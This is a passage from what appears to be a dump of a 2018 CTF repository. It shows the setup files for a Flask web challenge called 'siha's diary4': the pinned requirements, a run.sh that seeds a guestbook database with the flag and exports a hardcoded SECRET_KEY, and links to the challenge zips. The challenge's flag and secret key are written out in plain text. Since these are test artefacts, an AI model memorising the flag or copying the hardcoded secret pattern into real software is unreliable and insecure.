$db_file_name > /dev/null 21 | chmod +w $db_file_name 22 | 23 | python -c "from app import db, GuestBookEntry; db.create_all(); db.session.add(GuestBookEntry(username='siha', title='secret', content='$flag')); db.session.commit();" 24 | 25 | -------------------------------------------------------------------------------- /web/siha's_diary4/release/siha's_diary4.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/siha's_diary4/release/siha's_diary4.zip -------------------------------------------------------------------------------- /web/siha's_diary4/requirements.txt: -------------------------------------------------------------------------------- 1 | Click==7.0 2 | Flask==1.0.2 3 | Flask-SQLAlchemy==2.3.2 4 | ItsDangerous>=1.0.0 5 | Jinja2>=2.10.1 6 | MarkupSafe==1.0 7 | SQLAlchemy==1.2.13 8 | Werkzeug==0.14.1 9 | -------------------------------------------------------------------------------- /web/siha's_diary4/src/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | which sqlite3 > /dev/null 4 | if [ $? -ne 0 ]; then 5 | echo "install sqlite3" 6 | exit 1 7 | fi 8 | 9 | db_file_name="/tmp/5up3r_53cur3_db_l0c4710n.db" 10 | db_path="sqlite:///$db_file_name" 11 | flag="GuardianCTF{n3v3r_l34k_y0ur_617_d1r3c70ry}" 12 | 13 | export SECRET_KEY="51h4_5up3r_53cr37_fl45k_k3y_h4h4_h0h0" 14 | export DB_PATH=$db_path 15 | 16 | if [ -e $db_file_name ]; then 17 | rm $db_file_name 18 | fi 19 | 20 | echo ".databases" | sqlite3 $db_file_name > /dev/null 21 | chmod +w $db_file_name 22 | 23 | python -c "from app import db, GuestBookEntry; db.create_all(); db.session.add(GuestBookEntry(username='siha', title='secret', content='$flag')); db.session.commit();" 24 | 25 | -------------------------------------------------------------------------------- /web/siha's_diary4/src/siha's_diary4.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/siha's_diary4/src/siha's_diary4.zip --------------------------------------------------------------------------------